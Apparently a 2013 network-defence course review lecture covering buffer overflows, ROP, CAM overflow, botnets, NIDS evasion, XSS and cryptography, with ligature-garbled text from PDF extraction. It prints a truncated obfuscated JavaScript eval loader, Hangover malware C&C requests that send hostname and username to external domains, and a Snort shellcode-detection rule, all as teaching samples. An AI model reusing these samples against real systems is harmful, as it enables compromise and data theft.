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Logis;cs	
  
•  Guest	
  lecture	
  feedback?	
  
•  Thanksgiving	
  
•  HW	
  5	
  out	
  –	
  due	
  Tuesday	
  12/3	
  
•  Guest	
  lecture	
  Tuesday	
  12/3	
  (Darien	
  Kindlund)	
  
•  Quiz	
  3,	
  final	
  class	
  that	
  Thursday	
  12/5	
  
– One	
  hour	
  quiz	
  
– Will	
  be	
  cumula;ve	
  
– About	
  50%	
  weight	
  on	
  material	
  since	
  Quiz	
  2	
  

•  Project	
  due	
  12/6	
  





Main	
  Focus	
  of	
  Today	
  

•  Summarize/Refresh	
  Course	
  
•  Pon;ficate	
  about	
  future/prospects	
  in	
  CND	
  



More	
  Useful	
  Stack	
  for	
  A\acker	
  

Top	
  of	
  Memory	
  

Top	
  of	
  Stack	
  

large_string_	
  LS	
  
ptr	
  

new	
  
Ret	
  SFP	
  Buffer[64]	
  contains	
  shellcode	
  

Stack	
  Pointer	
  %esp	
   Frame	
  Pointer	
  %ebp	
  

Saved	
  Frame	
  Pointer	
  



CVE	
  Counts	
  By	
  Year	
  



CWE	
  Top	
  25	
  

940	
  CWE’s	
  in	
  total	
  –	
  another	
  37	
  pages	
  like	
  this	
  	
  



Defea;ng	
  ALSR/DEP	
  combined	
  
•  Any	
  non-­‐ALSR	
  code	
  can	
  be	
  analyzed	
  for	
  ROP.	
  
– S;ll	
  some;mes	
  libraries/code	
  lying	
  around.	
  	
  Eg	
  

•  h\ps://blogs.technet.com/b/srd/archive/2013/08/12/
mi;ga;ng-­‐the-­‐ldrhotpatchrou;ne-­‐dep-­‐aslr-­‐bypass-­‐
with-­‐ms13-­‐063.aspx	
  



Ethernet	
  Frame	
  

1500	
  is	
  typical	
  MTU	
  for	
  ethernet	
  



CAM	
  Table	
  Overflow	
  

•  If	
  the	
  switch	
  sees	
  too	
  many	
  MAC	
  addresses	
  
– CAM	
  table	
  fills	
  up	
  
– Then	
  just	
  broadcasts	
  everything	
  
– Makes	
  it	
  easier	
  to	
  sniff	
  everyone’s	
  traffic	
  

•  Can	
  be	
  mi;gated	
  with	
  port	
  security	
  
– Switch	
  rules	
  about	
  what	
  Macs	
  on	
  what	
  port	
  
– Or	
  how	
  many	
  Macs	
  per	
  port	
  



Ethernet/IP/TCP	
  Nes;ng	
  

Ether	
  Header	
   IP	
  Header	
   TCP	
  Header	
  

TCP	
  Data	
  

TCP	
  Data	
  

TCP	
  Data	
  



Refresh:	
  3-­‐way	
  handshake	
  

Client	
   Server	
  

Syn	
  Packet	
  

Syn-­‐ack	
  Packet	
  

Ack	
  Packet	
  

Normal	
  data	
  exchange	
  



Visualizing	
  Scans	
  

IP	
  Address	
  

Port	
  



Code	
  Red	
  

K	
  =	
  1.8/hr	
  



Typical	
  Firewall	
  Rule	
  

•  Block	
  in	
  on	
  LAN	
  from	
  192.168.1.0/24	
  port	
  any	
  
to	
  0.0.0.0/0	
  port	
  53	
  
– Any	
  packets	
  coming	
  from	
  LAN	
  to	
  port	
  53	
  will	
  be	
  
dropped.	
  	
  
•  Effect	
  of	
  rule	
  in	
  isola;on	
  
•  Could	
  be	
  part	
  of	
  strategy	
  to	
  force	
  clients	
  to	
  use	
  only	
  
officially	
  sanc;oned	
  DNS	
  servers	
  



Basic	
  Setup	
  of	
  a	
  DDOS	
  Botnet	
  

Internet	
  

Vic;m	
  

Bot	
   Bot	
   Bot	
   Bot	
   Bot	
  

C&C	
  

Illustra;ve	
  only:	
  prac;cal	
  a\acks	
  will	
  have	
  many	
  more	
  bots	
  



Reflec;on	
  A\acks	
  

Internet	
  

Vic;m	
  

Reflector	
   Bot	
   Bot	
  

C&C	
  

Illustra;ve	
  only:	
  prac;cal	
  a\acks	
  will	
  have	
  many	
  more	
  bots/reflectors	
  

Reflector	
  

Reflector	
  

Reflector	
  

Reflector	
  

Reflector	
  

Reflector	
  

Reflector	
  



Example	
  NIDS	
  Rule	
  

•  alert	
  ip	
  $EXTERNAL_NET	
  any	
  -­‐>	
  $HOME_NET	
  
any	
  (msg:"INDICATOR-­‐SHELLCODE	
  x86	
  NOOP";	
  
content:"|90	
  90	
  90	
  90	
  90	
  90	
  90	
  90	
  90	
  90	
  90	
  90	
  
90	
  90|";	
  fast_pa\ern:only;	
  metadata:ruleset	
  
community;	
  classtype:shellcode-­‐detect;	
  sid:
648;	
  rev:14;)	
  



Overall	
  Snort	
  Architecture	
  



But	
  what	
  about	
  this	
  case?	
  

S	
   I	
   G N A T	
   U E	
  RA G E	
  
1	
   2	
   3	
   4	
   5	
   6	
   7	
   8	
   9	
  5	
   6	
   7	
  



Evading	
  NIDS:	
  TTL	
  Field	
  

Physical	
  
Network	
  

H1	
  

H2	
  

Physical	
  
Network	
  

Physical	
  
Network	
  

Physical	
  
Network	
  

R	
  

IDS	
  
R	
   SIGNATURE	
  

SIGNAGE	
  



HTTP	
  Request	
  
GET	
  /dumprequest	
  HTTP/1.1\r\n	
  
Host:	
  djce.org.uk\r\n	
  
Connec;on:	
  keep-­‐alive\r\n	
  
Accept:	
  text/html,applica;on/xhtml+xml,applica;on/xml;q=0.9,image/webp,*/*;q=0.8	
  
User-­‐Agent:	
  Mozilla/5.0	
  (Macintosh;	
  Intel	
  Mac	
  OS	
  X	
  10_8_5)	
  AppleWebKit/537.36	
  
(KHTML,	
  like	
  Gecko)	
  Chrome/30.0.1599.101	
  Safari/537.36\r\n	
  
DNT:	
  1\r\n	
  
Referer:	
  h\ps://www.google.com/url?
sa=t&rct=j&q=&esrc=s&source=web&cd=3&ved=0CD4QFjAC&url=h\p%3A%2F
%2Fdjce.org.uk
%2Fdumprequest&ei=835lUpjEM5Xb4APEgIGoDA&usg=AFQjCNEeAn5wSZMp_y_oTmOK
onq482sS9A&sig2=pSajtDK-­‐YYIvE4HFDqmRfA&bvm=bv.54934254,d.dmg\r\n	
  
Accept-­‐Language:	
  en-­‐US,en;q=0.8\r\n	
  
\r\n	
  

Try	
  it	
  at	
  h\p://djce.org.uk/dumprequest	
  	
  



HTTP	
  Response	
  

HTTP/1.1	
  404	
  Not	
  Found\r\n	
  
Content-­‐Type:	
  text/html;	
  charset=UTF-­‐8\r\n	
  
X-­‐Content-­‐Type-­‐Op;ons:	
  nosniff\r\n	
  
Date:	
  Mon,	
  21	
  Oct	
  2013	
  19:37:20	
  GMT\r\n	
  
Server:	
  sffe\r\n	
  
Content-­‐Length:	
  946\r\n	
  
X-­‐XSS-­‐Protec;on:	
  1;	
  mode=block\r\n	
  
Alternate-­‐Protocol:	
  80:quic\r\n	
  
\r\n	
  
<!DOCTYPE	
  html>	
  
…	
  
	
  



More	
  Social	
  Engineering	
  

h\p://research.zscaler.com/2011/12/fake-­‐video-­‐codecs-­‐s;ll-­‐going-­‐strong.html	
  



Document	
  Object	
  Model	
  

h\p://www.w3schools.com/js/js_htmldom.asp	
  



Sample	
  Obfuscated	
  Javascript	
  
<script	
  language="javascript">var	
  
k="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";func%on	
  
se97a(s){var	
  o="";var	
  c1,c2,c3;var	
  e1,e2,e3,e4;var	
  i=0;s=s.replace(/[^A-­‐Za-­‐z0-­‐9\+\/\=]/
g,"");do{e1=k.indexOf(s.charAt(i++));e2=k.indexOf(s.charAt(i++));e3=k.indexOf(s.charAt(i+
+));e4=k.indexOf(s.charAt(i++));c1=(e1<<2)|(e2>>4);c2=((e2&15)<<4)|(e3>>2);c3=((e3&3)<<6)|
e4;o=o+String.fromCharCode(c1);if(e3!=64){o=o+String.fromCharCode(c2);}if(e4!=64){o=o
+String.fromCharCode(c3);}}while(i<s.length);return	
  o;}
eval(se97a("ZnVuY3Rpb24gYXNhcyhzZGFzKSB7dmFyIG9zPSIiO3ZhciBzcz1NYXRoLmNlaWwoc2Rh
cy5sZW5ndGgvMik7Zm9yKGk9MDtpPHNzO2krKyl7dmFyIGNrPXNkYXMuc3Vic3RyaW5nKGkqMi
woaSsxKSoyKTtvcyArPSBTdHJpbmcuZnJvbUNoYXJDb2RlKDM3KStjazt9cmV0dXJuIHVuZXNjYXBlK
G9zKTt9"));document.write(se97a(asas("4c53307444516f4e4367304b44516f4e4367304b44516f
4e4367304b44516f4e4367304b44516f4e4367304b44516f4e4367304b44516f4e4367304b44516
f4e4367304b44516f3863324e796158423049477868626d64315957646c50534a7159585a68633
24e7961584230496a344e436d6c6d4b473568646d6c6e595852766369357159585a6852573568
596d786c5a4367704b53423744516f4e436e5a6863694271646d317463335a744c434271646d31
7a5a574d73494770326258567a59575a6c4c434271646d317063484a7659797767616e5a746348
4268593273374451703259584967615430774f79423259584967654430774f7942325958496765
6a30774f77304b6157596f626d46326157623974634739755a5735305….	
  (3	
  more	
  pages)	
  



Pre-­‐Exis;ng	
  Product	
  

•  Designed	
  to	
  detect	
  zero-­‐day	
  worms	
  (internal	
  spread)	
  
•  Phase	
  I	
  heuris;cs:	
  port-­‐scan	
  detec;on	
  
•  Worked	
  technically,	
  but	
  not	
  as	
  a	
  value	
  proposi;on	
  
•  Plug	
  into	
  core	
  vs	
  edge	
  network	
  



Web	
  Proxies	
  

•  HTTP	
  designed	
  to	
  support	
  chains	
  of	
  proxies:	
  

Client	
  

Request	
  

Proxy1	
   …	
   ProxyN	
   Server	
  

Response	
  

•  Browser/OS	
  has	
  support	
  to	
  designate	
  a	
  proxy	
  
•  Demo	
  se�ngs	
  on	
  Mac	
  



Same	
  Origin	
  Policy	
  
•  Principle	
  enforced	
  by	
  browser	
  is:	
  
– Protocol,	
  host,	
  and	
  port	
  must	
  all	
  match	
  

So	
  ladygaga.com	
  <script>s	
  shouldn’t	
  be	
  able	
  to	
  talk	
  to	
  wellsfargo.com	
  



Set-­‐Cookie:	
  Syntax	
  

h\p://en.wikipedia.org/wiki/HTTP_cookie	
  



Pu�ng	
  It	
  Together	
  

•  Elements	
  of	
  an	
  XSS	
  a\ack	
  scenario	
  
–  I	
  use	
  server	
  with	
  sensi;ve	
  content	
  (bank)	
  
–  Bank	
  server	
  code	
  that	
  doesn’t	
  eliminate	
  markup	
  
– A\acker	
  (Lady	
  Gaga)	
  tricks	
  me	
  into	
  visi;ng	
  a	
  link	
  to	
  
bank,	
  	
  
•  but	
  of	
  her	
  construc;on	
  	
  
•  while	
  I’m	
  logged	
  into	
  bank	
  

–  Bank	
  incorporates	
  Lady	
  Gaga’s	
  code	
  into	
  webpage	
  
– Now	
  her	
  javascript	
  can	
  access	
  bank	
  	
  

•  with	
  my	
  login	
  privileges	
  (has	
  my	
  cookie)	
  
•  Now	
  she	
  can	
  steal	
  my	
  $609.31!	
  	
  	
  



Hangover	
  C&C	
  messages	
  
GET	
  /logitech/rt.php?cn=[HOSTNAME]@[USERNAME]&str=&file=no	
  HTTP/1.1	
  
User-­‐Agent:	
  WinInetGet/0.1	
  
Host:	
  krickmart.com	
  
Connec;on:	
  Keep-­‐Alive	
  
Cache-­‐Control:	
  no-­‐cache	
  

GET	
  /NewsApp/rssfeed.php?a=[TEXT]&134416	
  HTTP/1.1	
  
Accept:	
  */*	
  
Accept-­‐Encoding:	
  gzip,	
  deflate	
  
User-­‐Agent:	
  Mozilla/4.0	
  (compa;ble;	
  MSIE	
  7.0;	
  Windows	
  NT	
  5.1;	
  Trident/4.0;	
  .NET	
  CLR	
  
2.0.50727;	
  .NET	
  CLR	
  3.0.04506.648;	
  .NET	
  CLR	
  3.5.21022;	
  InfoPath.2)	
  
Host:	
  appworldstores.com	
  
Connec;on:	
  Keep-­‐Alive	
  

GET	
  /amd/psp.php?p=1&g=[TEXT]&v=RE[]&s=Microso�WindowsXPProfessional-­‐32&t=[HOSTNAME]-­‐
[USERNAME]&r=[0]&X9S8T3	
  HTTP/1.1	
  
Accept:	
  */*	
  
Accept-­‐Encoding:	
  gzip,	
  deflate	
  
User-­‐Agent:	
  Mozilla/4.0	
  (compa;ble;	
  MSIE	
  7.0;	
  Windows	
  NT	
  5.1;	
  Trident/4.0;	
  .NET	
  CLR	
  
2.0.50727;	
  .NET	
  CLR	
  3.0.04506.648;	
  .NET	
  CLR	
  3.5.21022;	
  InfoPath.2)	
  
Host:	
  lampur.com	
  
Connec;on:	
  Keep-­‐Alive	
  



First	
  Step:	
  S-­‐box	
  (subs;tu;on)	
  
a0,0	
   a0,1	
   a0,2	
   a0,3	
  

a1,0	
   a1,1	
   a1,2	
   a1,3	
  

a2,0	
   a2,1	
   a2,2	
   a2,3	
  

a3,0	
   a3,1	
   a3,2	
   a3,3	
  

b0,0	
   b0,1	
   b0,2	
   b0,3	
  

b1,0	
   b1,1	
   b1,2	
   b1,3	
  

b2,0	
   b2,1	
   b2,2	
   b2,3	
  

b3,0	
   b3,1	
   b3,2	
   b3,3	
  



RSA	
  
•  Underlying	
  base	
  is	
  difficulty	
  of	
  factoring	
  very	
  
large	
  numbers	
  

•  Will	
  sketch	
  algorithm	
  while	
  again	
  skipping	
  worst	
  
of	
  math	
  details	
  

•  We	
  choose	
  two	
  large	
  primes	
  p,	
  q	
  
–  hundreds	
  of	
  digits	
  each	
  
– Modulus,	
  n	
  =	
  pq	
  
–  Size	
  of	
  n	
  in	
  bits	
  is	
  the	
  key	
  length	
  
–  Then	
  choose	
  an	
  exponent,	
  e	
  that	
  

•  Has	
  no	
  common	
  factors	
  with	
  (p-­‐1)(q-­‐1)	
  
•  Public	
  key	
  is	
  n	
  and	
  e	
  
•  Private	
  key	
  can	
  be	
  computed	
  from	
  p	
  &	
  q	
  



TLS	
  Handshake	
  

•  To	
  establish	
  
parameters	
  of	
  
remaining	
  
conversa;on	
  

•  Works	
  over	
  TLS	
  Record	
  
layer	
  

•  Can	
  also	
  change	
  
opera;on	
  of	
  record	
  
layer	
  

h\p://tech.yanatm.com/?p=338	
  



Cer;ficate	
  Authori;es	
  

h\p://msdn.microso�.com/en-­‐us/windows/aa382479(v=vs.90)	
  



Future	
  Trends	
  

•  Caveats:	
  	
  
– “Predic;on	
  is	
  very	
  difficult,	
  	
  especially	
  if	
  it's	
  about	
  
the	
  future.”	
  –	
  Neils	
  Bohr	
  

– Historically	
  I	
  have	
  had	
  the	
  following	
  biasses	
  
•  Being	
  mostly	
  right	
  on	
  the	
  big	
  picture,	
  but	
  

–  Too	
  pessimis;c	
  
–  Thinking	
  new	
  developments	
  will	
  happen	
  faster	
  than	
  they	
  will	
  
–  Thinking	
  current	
  trends	
  will	
  last	
  longer	
  than	
  they	
  will	
  
–  Trying	
  to	
  make	
  allowances…	
  



Basic	
  Vulnerability	
  Picture	
  

•  Security	
  will	
  con;nue	
  to	
  be	
  hard	
  to	
  get	
  right	
  
•  Staff	
  will	
  con;nue	
  to	
  be	
  under-­‐educated	
  
– Eg	
  no	
  Top	
  Ten	
  CS	
  program	
  requires	
  security	
  

•  Lots	
  of	
  security	
  problems	
  will	
  con;nue	
  to	
  exist	
  
with	
  new	
  systems	
  

•  However,	
  old	
  styles	
  of	
  problems	
  will	
  get	
  less	
  
of	
  a	
  factor	
  
– Slowly	
  ge�ng	
  on	
  top	
  of	
  buffer	
  overflows,	
  for	
  
example	
  



Importance	
  of	
  Security	
  

•  Can	
  only	
  increase	
  
– More	
  and	
  more	
  automa;on	
  
– Society	
  more	
  and	
  more	
  Internet	
  dependent	
  
– Winner-­‐takes-­‐all	
  character	
  of	
  so�ware	
  markets	
  
guarantees	
  large	
  vulnerable	
  surfaces	
  



Increasing	
  Ins;tu;onaliza;on	
  of	
  A\ack	
  

•  Used	
  to	
  be	
  teenage	
  hackers	
  on	
  IRC	
  
•  Then	
  gangs	
  of	
  cybercriminals	
  organized	
  via	
  
underground	
  marketplaces	
  

•  Now	
  large	
  intelligence	
  agency	
  armies	
  of	
  
hackers	
  in	
  the	
  thousands	
  



Automa;on/Surveillance	
  

•  Widespread	
  automa;on	
  means	
  a	
  small	
  group	
  can	
  do	
  
large	
  damage	
  
–  Cf	
  worms	
  

•  Sophis;cated	
  insider	
  can	
  do	
  massive	
  damage	
  
–  Cf	
  Edward	
  Snowden	
  

•  Will	
  create	
  tremendous	
  pressure	
  for	
  more	
  surveillance.	
  
–  Snowden	
  did	
  spark	
  a	
  public	
  debate	
  
–  But	
  paradoxically	
  increased	
  pressure	
  to	
  look	
  harder	
  for	
  the	
  
next	
  Snowden.	
  

•  But	
  simultaneously	
  we	
  have	
  more	
  countermeasures	
  
– Will	
  drive	
  lots	
  of	
  encryp;on	
  



Employment	
  Prospects	
  



Cyberwar?	
  

•  Can	
  large/medium	
  powers	
  launch	
  crippling	
  
cyber-­‐strikes	
  on	
  one	
  another?	
  
– Certainly	
  are	
  doing	
  lots	
  of	
  hacking	
  of	
  each	
  other.	
  

•  Large	
  strikes	
  (eg	
  on	
  power	
  grid)	
  might	
  invite	
  
conven;onal	
  military/nuclear	
  response	
  

•  Could	
  it	
  be	
  done	
  without	
  a\ribu;on?	
  


